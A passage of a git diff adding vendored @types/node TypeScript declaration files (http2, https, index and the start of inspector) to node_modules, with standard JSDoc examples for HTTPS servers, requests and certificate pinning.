HTTP2_METHOD_VERSION_CONTROL: string; + const HTTP_STATUS_CONTINUE: number; + const HTTP_STATUS_SWITCHING_PROTOCOLS: number; + const HTTP_STATUS_PROCESSING: number; + const HTTP_STATUS_OK: number; + const HTTP_STATUS_CREATED: number; + const HTTP_STATUS_ACCEPTED: number; + const HTTP_STATUS_NON_AUTHORITATIVE_INFORMATION: number; + const HTTP_STATUS_NO_CONTENT: number; + const HTTP_STATUS_RESET_CONTENT: number; + const HTTP_STATUS_PARTIAL_CONTENT: number; + const HTTP_STATUS_MULTI_STATUS: number; + const HTTP_STATUS_ALREADY_REPORTED: number; + const HTTP_STATUS_IM_USED: number; + const HTTP_STATUS_MULTIPLE_CHOICES: number; + const HTTP_STATUS_MOVED_PERMANENTLY: number; + const HTTP_STATUS_FOUND: number; + const HTTP_STATUS_SEE_OTHER: number; + const HTTP_STATUS_NOT_MODIFIED: number; + const HTTP_STATUS_USE_PROXY: number; + const HTTP_STATUS_TEMPORARY_REDIRECT: number; + const HTTP_STATUS_PERMANENT_REDIRECT: number; + const HTTP_STATUS_BAD_REQUEST: number; + const HTTP_STATUS_UNAUTHORIZED: number; + const HTTP_STATUS_PAYMENT_REQUIRED: number; + const HTTP_STATUS_FORBIDDEN: number; + const HTTP_STATUS_NOT_FOUND: number; + const HTTP_STATUS_METHOD_NOT_ALLOWED: number; + const HTTP_STATUS_NOT_ACCEPTABLE: number; + const HTTP_STATUS_PROXY_AUTHENTICATION_REQUIRED: number; + const HTTP_STATUS_REQUEST_TIMEOUT: number; + const HTTP_STATUS_CONFLICT: number; + const HTTP_STATUS_GONE: number; + const HTTP_STATUS_LENGTH_REQUIRED: number; + const HTTP_STATUS_PRECONDITION_FAILED: number; + const HTTP_STATUS_PAYLOAD_TOO_LARGE: number; + const HTTP_STATUS_URI_TOO_LONG: number; + const HTTP_STATUS_UNSUPPORTED_MEDIA_TYPE: number; + const HTTP_STATUS_RANGE_NOT_SATISFIABLE: number; + const HTTP_STATUS_EXPECTATION_FAILED: number; + const HTTP_STATUS_TEAPOT: number; + const HTTP_STATUS_MISDIRECTED_REQUEST: number; + const HTTP_STATUS_UNPROCESSABLE_ENTITY: number; + const HTTP_STATUS_LOCKED: number; + const HTTP_STATUS_FAILED_DEPENDENCY: number; + const HTTP_STATUS_UNORDERED_COLLECTION: number; + const HTTP_STATUS_UPGRADE_REQUIRED: number; + const HTTP_STATUS_PRECONDITION_REQUIRED: number; + const HTTP_STATUS_TOO_MANY_REQUESTS: number; + const HTTP_STATUS_REQUEST_HEADER_FIELDS_TOO_LARGE: number; + const HTTP_STATUS_UNAVAILABLE_FOR_LEGAL_REASONS: number; + const HTTP_STATUS_INTERNAL_SERVER_ERROR: number; + const HTTP_STATUS_NOT_IMPLEMENTED: number; + const HTTP_STATUS_BAD_GATEWAY: number; + const HTTP_STATUS_SERVICE_UNAVAILABLE: number; + const HTTP_STATUS_GATEWAY_TIMEOUT: number; + const HTTP_STATUS_HTTP_VERSION_NOT_SUPPORTED: number; + const HTTP_STATUS_VARIANT_ALSO_NEGOTIATES: number; + const HTTP_STATUS_INSUFFICIENT_STORAGE: number; + const HTTP_STATUS_LOOP_DETECTED: number; + const HTTP_STATUS_BANDWIDTH_LIMIT_EXCEEDED: number; + const HTTP_STATUS_NOT_EXTENDED: number; + const HTTP_STATUS_NETWORK_AUTHENTICATION_REQUIRED: number; + } + /** + * This symbol can be set as a property on the HTTP/2 headers object with + * an array value in order to provide a list of headers considered sensitive. + */ + export const sensitiveHeaders: symbol; + /** + * Returns an object containing the default settings for an `Http2Session` instance. This method returns a new object instance every time it is called + * so instances returned may be safely modified for use. + * @since v8.4.0 + */ + export function getDefaultSettings(): Settings; + /** + * Returns a `Buffer` instance containing serialized representation of the given + * HTTP/2 settings as specified in the [HTTP/2](https://tools.ietf.org/html/rfc7540) specification. This is intended + * for use with the `HTTP2-Settings` header field. + * + * ```js + * import http2 from 'node:http2'; + * + * const packed = http2.getPackedSettings({ enablePush: false }); + * + * console.log(packed.toString('base64')); + * // Prints: AAIAAAAA + * ``` + * @since v8.4.0 + */ + export function getPackedSettings(settings: Settings): Buffer; + /** + * Returns a `HTTP/2 Settings Object` containing the deserialized settings from + * the given `Buffer` as generated by `http2.getPackedSettings()`. + * @since v8.4.0 + * @param buf The packed settings. + */ + export function getUnpackedSettings(buf: Uint8Array): Settings; + /** + * Returns a `net.Server` instance that creates and manages `Http2Session` instances. + * + * Since there are no browsers known that support [unencrypted HTTP/2](https://http2.github.io/faq/#does-http2-require-encryption), the use of {@link createSecureServer} is necessary when + * communicating + * with browser clients. + * + * ```js + * import http2 from 'node:http2'; + * + * // Create an unencrypted HTTP/2 server. + * // Since there are no browsers known that support + * // unencrypted HTTP/2, the use of `http2.createSecureServer()` + * // is necessary when communicating with browser clients. + * const server = http2.createServer(); + * + * server.on('stream', (stream, headers) => { + * stream.respond({ + * 'content-type': 'text/html; charset=utf-8', + * ':status': 200, + * }); + * stream.end('

    Hello World

    '); + * }); + * + * server.listen(8000); + * ``` + * @since v8.4.0 + * @param onRequestHandler See `Compatibility API` + */ + export function createServer( + onRequestHandler?: (request: Http2ServerRequest, response: Http2ServerResponse) => void, + ): Http2Server; + export function createServer< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + >( + options: ServerOptions, + onRequestHandler?: (request: InstanceType, response: InstanceType) => void, + ): Http2Server; + /** + * Returns a `tls.Server` instance that creates and manages `Http2Session` instances. + * + * ```js + * import http2 from 'node:http2'; + * import fs from 'node:fs'; + * + * const options = { + * key: fs.readFileSync('server-key.pem'), + * cert: fs.readFileSync('server-cert.pem'), + * }; + * + * // Create a secure HTTP/2 server + * const server = http2.createSecureServer(options); + * + * server.on('stream', (stream, headers) => { + * stream.respond({ + * 'content-type': 'text/html; charset=utf-8', + * ':status': 200, + * }); + * stream.end('

    Hello World

    '); + * }); + * + * server.listen(8443); + * ``` + * @since v8.4.0 + * @param onRequestHandler See `Compatibility API` + */ + export function createSecureServer( + onRequestHandler?: (request: Http2ServerRequest, response: Http2ServerResponse) => void, + ): Http2SecureServer; + export function createSecureServer< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + >( + options: SecureServerOptions, + onRequestHandler?: (request: InstanceType, response: InstanceType) => void, + ): Http2SecureServer; + /** + * Returns a `ClientHttp2Session` instance. + * + * ```js + * import http2 from 'node:http2'; + * const client = http2.connect('https://localhost:1234'); + * + * // Use the client + * + * client.close(); + * ``` + * @since v8.4.0 + * @param authority The remote HTTP/2 server to connect to. This must be in the form of a minimal, valid URL with the `http://` or `https://` prefix, host name, and IP port (if a non-default port + * is used). Userinfo (user ID and password), path, querystring, and fragment details in the URL will be ignored. + * @param listener Will be registered as a one-time listener of the {@link 'connect'} event. + */ + export function connect( + authority: string | url.URL, + listener: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void, + ): ClientHttp2Session; + export function connect( + authority: string | url.URL, + options?: ClientSessionOptions | SecureClientSessionOptions, + listener?: (session: ClientHttp2Session, socket: net.Socket | tls.TLSSocket) => void, + ): ClientHttp2Session; + /** + * Create an HTTP/2 server session from an existing socket. + * @param socket A Duplex Stream + * @param options Any `{@link createServer}` options can be provided. + * @since v20.12.0 + */ + export function performServerHandshake< + Http1Request extends typeof IncomingMessage = typeof IncomingMessage, + Http1Response extends typeof ServerResponse> = typeof ServerResponse, + Http2Request extends typeof Http2ServerRequest = typeof Http2ServerRequest, + Http2Response extends typeof Http2ServerResponse> = typeof Http2ServerResponse, + >( + socket: stream.Duplex, + options?: ServerOptions, + ): ServerHttp2Session; +} +declare module "node:http2" { + export * from "http2"; +} diff --git a/node_modules/@types/node/https.d.ts b/node_modules/@types/node/https.d.ts new file mode 100644 index 000000000000..7112b8d42501 --- /dev/null +++ b/node_modules/@types/node/https.d.ts @@ -0,0 +1,544 @@ +/** + * HTTPS is the HTTP protocol over TLS/SSL. In Node.js this is implemented as a + * separate module. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/https.js) + */ +declare module "https" { + import { Duplex } from "node:stream"; + import * as tls from "node:tls"; + import * as http from "node:http"; + import { URL } from "node:url"; + type ServerOptions< + Request extends typeof http.IncomingMessage = typeof http.IncomingMessage, + Response extends typeof http.ServerResponse> = typeof http.ServerResponse, + > = tls.SecureContextOptions & tls.TlsOptions & http.ServerOptions; + type RequestOptions = + & http.RequestOptions + & tls.SecureContextOptions + & { + checkServerIdentity?: typeof tls.checkServerIdentity | undefined; + rejectUnauthorized?: boolean | undefined; // Defaults to true + servername?: string | undefined; // SNI TLS Extension + }; + interface AgentOptions extends http.AgentOptions, tls.ConnectionOptions { + rejectUnauthorized?: boolean | undefined; + maxCachedSessions?: number | undefined; + } + /** + * An `Agent` object for HTTPS similar to `http.Agent`. See {@link request} for more information. + * @since v0.4.5 + */ + class Agent extends http.Agent { + constructor(options?: AgentOptions); + options: AgentOptions; + } + interface Server< + Request extends typeof http.IncomingMessage = typeof http.IncomingMessage, + Response extends typeof http.ServerResponse> = typeof http.ServerResponse, + > extends http.Server {} + /** + * See `http.Server` for more information. + * @since v0.3.4 + */ + class Server< + Request extends typeof http.IncomingMessage = typeof http.IncomingMessage, + Response extends typeof http.ServerResponse> = typeof http.ServerResponse, + > extends tls.Server { + constructor(requestListener?: http.RequestListener); + constructor( + options: ServerOptions, + requestListener?: http.RequestListener, + ); + /** + * Closes all connections connected to this server. + * @since v18.2.0 + */ + closeAllConnections(): void; + /** + * Closes all connections connected to this server which are not sending a request or waiting for a response. + * @since v18.2.0 + */ + closeIdleConnections(): void; + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "keylog", listener: (line: Buffer, tlsSocket: tls.TLSSocket) => void): this; + addListener( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: (err: Error, resp: Buffer) => void) => void, + ): this; + addListener( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + addListener( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error, sessionData: Buffer) => void) => void, + ): this; + addListener(event: "secureConnection", listener: (tlsSocket: tls.TLSSocket) => void): this; + addListener(event: "tlsClientError", listener: (err: Error, tlsSocket: tls.TLSSocket) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "connection", listener: (socket: Duplex) => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "listening", listener: () => void): this; + addListener(event: "checkContinue", listener: http.RequestListener): this; + addListener(event: "checkExpectation", listener: http.RequestListener): this; + addListener(event: "clientError", listener: (err: Error, socket: Duplex) => void): this; + addListener( + event: "connect", + listener: (req: InstanceType, socket: Duplex, head: Buffer) => void, + ): this; + addListener(event: "request", listener: http.RequestListener): this; + addListener( + event: "upgrade", + listener: (req: InstanceType, socket: Duplex, head: Buffer) => void, + ): this; + emit(event: string, ...args: any[]): boolean; + emit(event: "keylog", line: Buffer, tlsSocket: tls.TLSSocket): boolean; + emit( + event: "newSession", + sessionId: Buffer, + sessionData: Buffer, + callback: (err: Error, resp: Buffer) => void, + ): boolean; + emit( + event: "OCSPRequest", + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ): boolean; + emit(event: "resumeSession", sessionId: Buffer, callback: (err: Error, sessionData: Buffer) => void): boolean; + emit(event: "secureConnection", tlsSocket: tls.TLSSocket): boolean; + emit(event: "tlsClientError", err: Error, tlsSocket: tls.TLSSocket): boolean; + emit(event: "close"): boolean; + emit(event: "connection", socket: Duplex): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "listening"): boolean; + emit( + event: "checkContinue", + req: InstanceType, + res: InstanceType, + ): boolean; + emit( + event: "checkExpectation", + req: InstanceType, + res: InstanceType, + ): boolean; + emit(event: "clientError", err: Error, socket: Duplex): boolean; + emit(event: "connect", req: InstanceType, socket: Duplex, head: Buffer): boolean; + emit( + event: "request", + req: InstanceType, + res: InstanceType, + ): boolean; + emit(event: "upgrade", req: InstanceType, socket: Duplex, head: Buffer): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "keylog", listener: (line: Buffer, tlsSocket: tls.TLSSocket) => void): this; + on( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: (err: Error, resp: Buffer) => void) => void, + ): this; + on( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + on( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error, sessionData: Buffer) => void) => void, + ): this; + on(event: "secureConnection", listener: (tlsSocket: tls.TLSSocket) => void): this; + on(event: "tlsClientError", listener: (err: Error, tlsSocket: tls.TLSSocket) => void): this; + on(event: "close", listener: () => void): this; + on(event: "connection", listener: (socket: Duplex) => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "listening", listener: () => void): this; + on(event: "checkContinue", listener: http.RequestListener): this; + on(event: "checkExpectation", listener: http.RequestListener): this; + on(event: "clientError", listener: (err: Error, socket: Duplex) => void): this; + on(event: "connect", listener: (req: InstanceType, socket: Duplex, head: Buffer) => void): this; + on(event: "request", listener: http.RequestListener): this; + on(event: "upgrade", listener: (req: InstanceType, socket: Duplex, head: Buffer) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "keylog", listener: (line: Buffer, tlsSocket: tls.TLSSocket) => void): this; + once( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: (err: Error, resp: Buffer) => void) => void, + ): this; + once( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + once( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error, sessionData: Buffer) => void) => void, + ): this; + once(event: "secureConnection", listener: (tlsSocket: tls.TLSSocket) => void): this; + once(event: "tlsClientError", listener: (err: Error, tlsSocket: tls.TLSSocket) => void): this; + once(event: "close", listener: () => void): this; + once(event: "connection", listener: (socket: Duplex) => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "listening", listener: () => void): this; + once(event: "checkContinue", listener: http.RequestListener): this; + once(event: "checkExpectation", listener: http.RequestListener): this; + once(event: "clientError", listener: (err: Error, socket: Duplex) => void): this; + once(event: "connect", listener: (req: InstanceType, socket: Duplex, head: Buffer) => void): this; + once(event: "request", listener: http.RequestListener): this; + once(event: "upgrade", listener: (req: InstanceType, socket: Duplex, head: Buffer) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "keylog", listener: (line: Buffer, tlsSocket: tls.TLSSocket) => void): this; + prependListener( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: (err: Error, resp: Buffer) => void) => void, + ): this; + prependListener( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + prependListener( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error, sessionData: Buffer) => void) => void, + ): this; + prependListener(event: "secureConnection", listener: (tlsSocket: tls.TLSSocket) => void): this; + prependListener(event: "tlsClientError", listener: (err: Error, tlsSocket: tls.TLSSocket) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "connection", listener: (socket: Duplex) => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "listening", listener: () => void): this; + prependListener(event: "checkContinue", listener: http.RequestListener): this; + prependListener(event: "checkExpectation", listener: http.RequestListener): this; + prependListener(event: "clientError", listener: (err: Error, socket: Duplex) => void): this; + prependListener( + event: "connect", + listener: (req: InstanceType, socket: Duplex, head: Buffer) => void, + ): this; + prependListener(event: "request", listener: http.RequestListener): this; + prependListener( + event: "upgrade", + listener: (req: InstanceType, socket: Duplex, head: Buffer) => void, + ): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "keylog", listener: (line: Buffer, tlsSocket: tls.TLSSocket) => void): this; + prependOnceListener( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: (err: Error, resp: Buffer) => void) => void, + ): this; + prependOnceListener( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + prependOnceListener( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error, sessionData: Buffer) => void) => void, + ): this; + prependOnceListener(event: "secureConnection", listener: (tlsSocket: tls.TLSSocket) => void): this; + prependOnceListener(event: "tlsClientError", listener: (err: Error, tlsSocket: tls.TLSSocket) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "connection", listener: (socket: Duplex) => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "listening", listener: () => void): this; + prependOnceListener(event: "checkContinue", listener: http.RequestListener): this; + prependOnceListener(event: "checkExpectation", listener: http.RequestListener): this; + prependOnceListener(event: "clientError", listener: (err: Error, socket: Duplex) => void): this; + prependOnceListener( + event: "connect", + listener: (req: InstanceType, socket: Duplex, head: Buffer) => void, + ): this; + prependOnceListener(event: "request", listener: http.RequestListener): this; + prependOnceListener( + event: "upgrade", + listener: (req: InstanceType, socket: Duplex, head: Buffer) => void, + ): this; + } + /** + * ```js + * // curl -k https://localhost:8000/ + * import https from 'node:https'; + * import fs from 'node:fs'; + * + * const options = { + * key: fs.readFileSync('test/fixtures/keys/agent2-key.pem'), + * cert: fs.readFileSync('test/fixtures/keys/agent2-cert.pem'), + * }; + * + * https.createServer(options, (req, res) => { + * res.writeHead(200); + * res.end('hello world\n'); + * }).listen(8000); + * ``` + * + * Or + * + * ```js + * import https from 'node:https'; + * import fs from 'node:fs'; + * + * const options = { + * pfx: fs.readFileSync('test/fixtures/test_cert.pfx'), + * passphrase: 'sample', + * }; + * + * https.createServer(options, (req, res) => { + * res.writeHead(200); + * res.end('hello world\n'); + * }).listen(8000); + * ``` + * @since v0.3.4 + * @param options Accepts `options` from `createServer`, `createSecureContext` and `createServer`. + * @param requestListener A listener to be added to the `'request'` event. + */ + function createServer< + Request extends typeof http.IncomingMessage = typeof http.IncomingMessage, + Response extends typeof http.ServerResponse> = typeof http.ServerResponse, + >(requestListener?: http.RequestListener): Server; + function createServer< + Request extends typeof http.IncomingMessage = typeof http.IncomingMessage, + Response extends typeof http.ServerResponse> = typeof http.ServerResponse, + >( + options: ServerOptions, + requestListener?: http.RequestListener, + ): Server; + /** + * Makes a request to a secure web server. + * + * The following additional `options` from `tls.connect()` are also accepted: `ca`, `cert`, `ciphers`, `clientCertEngine`, `crl`, `dhparam`, `ecdhCurve`, `honorCipherOrder`, `key`, `passphrase`, + * `pfx`, `rejectUnauthorized`, `secureOptions`, `secureProtocol`, `servername`, `sessionIdContext`, `highWaterMark`. + * + * `options` can be an object, a string, or a `URL` object. If `options` is a + * string, it is automatically parsed with `new URL()`. If it is a `URL` object, it will be automatically converted to an ordinary `options` object. + * + * `https.request()` returns an instance of the `http.ClientRequest` class. The `ClientRequest` instance is a writable stream. If one needs to + * upload a file with a POST request, then write to the `ClientRequest` object. + * + * ```js + * import https from 'node:https'; + * + * const options = { + * hostname: 'encrypted.google.com', + * port: 443, + * path: '/', + * method: 'GET', + * }; + * + * const req = https.request(options, (res) => { + * console.log('statusCode:', res.statusCode); + * console.log('headers:', res.headers); + * + * res.on('data', (d) => { + * process.stdout.write(d); + * }); + * }); + * + * req.on('error', (e) => { + * console.error(e); + * }); + * req.end(); + * ``` + * + * Example using options from `tls.connect()`: + * + * ```js + * const options = { + * hostname: 'encrypted.google.com', + * port: 443, + * path: '/', + * method: 'GET', + * key: fs.readFileSync('test/fixtures/keys/agent2-key.pem'), + * cert: fs.readFileSync('test/fixtures/keys/agent2-cert.pem'), + * }; + * options.agent = new https.Agent(options); + * + * const req = https.request(options, (res) => { + * // ... + * }); + * ``` + * + * Alternatively, opt out of connection pooling by not using an `Agent`. + * + * ```js + * const options = { + * hostname: 'encrypted.google.com', + * port: 443, + * path: '/', + * method: 'GET', + * key: fs.readFileSync('test/fixtures/keys/agent2-key.pem'), + * cert: fs.readFileSync('test/fixtures/keys/agent2-cert.pem'), + * agent: false, + * }; + * + * const req = https.request(options, (res) => { + * // ... + * }); + * ``` + * + * Example using a `URL` as `options`: + * + * ```js + * const options = new URL('https://abc:xyz@example.com'); + * + * const req = https.request(options, (res) => { + * // ... + * }); + * ``` + * + * Example pinning on certificate fingerprint, or the public key (similar to`pin-sha256`): + * + * ```js + * import tls from 'node:tls'; + * import https from 'node:https'; + * import crypto from 'node:crypto'; + * + * function sha256(s) { + * return crypto.createHash('sha256').update(s).digest('base64'); + * } + * const options = { + * hostname: 'github.com', + * port: 443, + * path: '/', + * method: 'GET', + * checkServerIdentity: function(host, cert) { + * // Make sure the certificate is issued to the host we are connected to + * const err = tls.checkServerIdentity(host, cert); + * if (err) { + * return err; + * } + * + * // Pin the public key, similar to HPKP pin-sha256 pinning + * const pubkey256 = 'pL1+qb9HTMRZJmuC/bB/ZI9d302BYrrqiVuRyW+DGrU='; + * if (sha256(cert.pubkey) !== pubkey256) { + * const msg = 'Certificate verification error: ' + + * `The public key of '${cert.subject.CN}' ` + + * 'does not match our pinned fingerprint'; + * return new Error(msg); + * } + * + * // Pin the exact certificate, rather than the pub key + * const cert256 = '25:FE:39:32:D9:63:8C:8A:FC:A1:9A:29:87:' + + * 'D8:3E:4C:1D:98:DB:71:E4:1A:48:03:98:EA:22:6A:BD:8B:93:16'; + * if (cert.fingerprint256 !== cert256) { + * const msg = 'Certificate verification error: ' + + * `The certificate of '${cert.subject.CN}' ` + + * 'does not match our pinned fingerprint'; + * return new Error(msg); + * } + * + * // This loop is informational only. + * // Print the certificate and public key fingerprints of all certs in the + * // chain. Its common to pin the public key of the issuer on the public + * // internet, while pinning the public key of the service in sensitive + * // environments. + * do { + * console.log('Subject Common Name:', cert.subject.CN); + * console.log(' Certificate SHA256 fingerprint:', cert.fingerprint256); + * + * hash = crypto.createHash('sha256'); + * console.log(' Public key ping-sha256:', sha256(cert.pubkey)); + * + * lastprint256 = cert.fingerprint256; + * cert = cert.issuerCertificate; + * } while (cert.fingerprint256 !== lastprint256); + * + * }, + * }; + * + * options.agent = new https.Agent(options); + * const req = https.request(options, (res) => { + * console.log('All OK. Server matched our pinned cert or public key'); + * console.log('statusCode:', res.statusCode); + * // Print the HPKP values + * console.log('headers:', res.headers['public-key-pins']); + * + * res.on('data', (d) => {}); + * }); + * + * req.on('error', (e) => { + * console.error(e.message); + * }); + * req.end(); + * ``` + * + * Outputs for example: + * + * ```text + * Subject Common Name: github.com + * Certificate SHA256 fingerprint: 25:FE:39:32:D9:63:8C:8A:FC:A1:9A:29:87:D8:3E:4C:1D:98:DB:71:E4:1A:48:03:98:EA:22:6A:BD:8B:93:16 + * Public key ping-sha256: pL1+qb9HTMRZJmuC/bB/ZI9d302BYrrqiVuRyW+DGrU= + * Subject Common Name: DigiCert SHA2 Extended Validation Server CA + * Certificate SHA256 fingerprint: 40:3E:06:2A:26:53:05:91:13:28:5B:AF:80:A0:D4:AE:42:2C:84:8C:9F:78:FA:D0:1F:C9:4B:C5:B8:7F:EF:1A + * Public key ping-sha256: RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho= + * Subject Common Name: DigiCert High Assurance EV Root CA + * Certificate SHA256 fingerprint: 74:31:E5:F4:C3:C1:CE:46:90:77:4F:0B:61:E0:54:40:88:3B:A9:A0:1E:D0:0B:A6:AB:D7:80:6E:D3:B1:18:CF + * Public key ping-sha256: WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18= + * All OK. Server matched our pinned cert or public key + * statusCode: 200 + * headers: max-age=0; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="RRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho="; + * pin-sha256="k2v657xBsOVe1PQRwOsHsw3bsGT2VzIqz5K+59sNQws="; pin-sha256="K87oWBWM9UZfyddvDfoxL+8lpNyoUB2ptGtn0fv6G2Q="; pin-sha256="IQBnNBEiFuhj+8x6X8XLgh01V9Ic5/V3IRQLNFFc7v4="; + * pin-sha256="iie1VXtL7HzAMF+/PVPR9xzT80kQxdZeJ+zduCB3uj0="; pin-sha256="LvRiGEjRqfzurezaWuj8Wie2gyHMrW5Q06LspMnox7A="; includeSubDomains + * ``` + * @since v0.3.6 + * @param options Accepts all `options` from `request`, with some differences in default values: + */ + function request( + options: RequestOptions | string | URL, + callback?: (res: http.IncomingMessage) => void, + ): http.ClientRequest; + function request( + url: string | URL, + options: RequestOptions, + callback?: (res: http.IncomingMessage) => void, + ): http.ClientRequest; + /** + * Like `http.get()` but for HTTPS. + * + * `options` can be an object, a string, or a `URL` object. If `options` is a + * string, it is automatically parsed with `new URL()`. If it is a `URL` object, it will be automatically converted to an ordinary `options` object. + * + * ```js + * import https from 'node:https'; + * + * https.get('https://encrypted.google.com/', (res) => { + * console.log('statusCode:', res.statusCode); + * console.log('headers:', res.headers); + * + * res.on('data', (d) => { + * process.stdout.write(d); + * }); + * + * }).on('error', (e) => { + * console.error(e); + * }); + * ``` + * @since v0.3.6 + * @param options Accepts the same `options` as {@link request}, with the `method` always set to `GET`. + */ + function get( + options: RequestOptions | string | URL, + callback?: (res: http.IncomingMessage) => void, + ): http.ClientRequest; + function get( + url: string | URL, + options: RequestOptions, + callback?: (res: http.IncomingMessage) => void, + ): http.ClientRequest; + let globalAgent: Agent; +} +declare module "node:https" { + export * from "https"; +} diff --git a/node_modules/@types/node/index.d.ts b/node_modules/@types/node/index.d.ts new file mode 100644 index 000000000000..1ddb0a67cde8 --- /dev/null +++ b/node_modules/@types/node/index.d.ts @@ -0,0 +1,94 @@ +/** + * License for programmatically and manually incorporated + * documentation aka. `JSDoc` from https://github.com/nodejs/node/tree/master/doc + * + * Copyright Node.js contributors. All rights reserved. + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to + * deal in the Software without restriction, including without limitation the + * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or + * sell copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS + * IN THE SOFTWARE. + */ + +// NOTE: These definitions support NodeJS and TypeScript 5.7+. + +// Reference required types from the default lib: +/// +/// +/// +/// + +// Definitions specific to TypeScript 4.9 through 5.7+ +/// +/// + +// Base definitions for all NodeJS modules that are not specific to any version of TypeScript: +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// +/// + +/// diff --git a/node_modules/@types/node/inspector.d.ts b/node_modules/@types/node/inspector.d.ts new file mode 100644 index 000000000000..32d9ba4aa8b6 --- /dev/null +++ b/node_modules/@types/node/inspector.d.ts @@ -0,0 +1,3966 @@ +// These definitions are automatically generated by the generate-inspector script. +// Do not edit this file directly. +// See scripts/generate-inspector/README.md for information on how to update the protocol definitions. +// Changes to the module itself should be added to the generator template (scripts/generate-inspector/inspector.d.ts.template). + +/** + * The `node:inspector` module provides an API for interacting with the V8 + * inspector. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/inspector.js) + */ +declare module 'inspector' { + import EventEmitter = require('node:events'); + + interface InspectorNotification { + method: string; + params: T; + } + + namespace Schema { + /** + * Description of the protocol domain. + */ + interface Domain { + /** + * Domain name. + */ + name: string; + /** + * Domain version. + */ + version: string; + } + interface GetDomainsReturnType { + /** + * List of supported domains. + */ + domains: Domain[]; + } + } + namespace Runtime { + /** + * Unique script identifier. + */ + type ScriptId = string; + /** + * Unique object identifier. + */ + type RemoteObjectId = string; + /** + * Primitive value which cannot be JSON-stringified. + */ + type UnserializableValue = string; + /** + * Mirror object referencing original JavaScript object. + */ + interface RemoteObject { + /** + * Object type. + */ + type: string; + /** + * Object subtype hint. Specified for object type values only. + */ + subtype?: string | undefined; + /** + * Object class (constructor) name. Specified for object type values only. + */ + className?: string | undefined; + /** + * Remote object value in case of primitive values or JSON values (if it was requested). + */ + value?: any; + /** + * Primitive value which can not be JSON-stringified does not have value, but gets this property. + */ + unserializableValue?: UnserializableValue | undefined; + /** + * String representation of the object. + */ + description?: string | undefined; + /** + * Unique object identifier (for non-primitive values). + */ + objectId?: RemoteObjectId | undefined; + /** + * Preview containing abbreviated property values. Specified for object type values only. + * @experimental + */ + 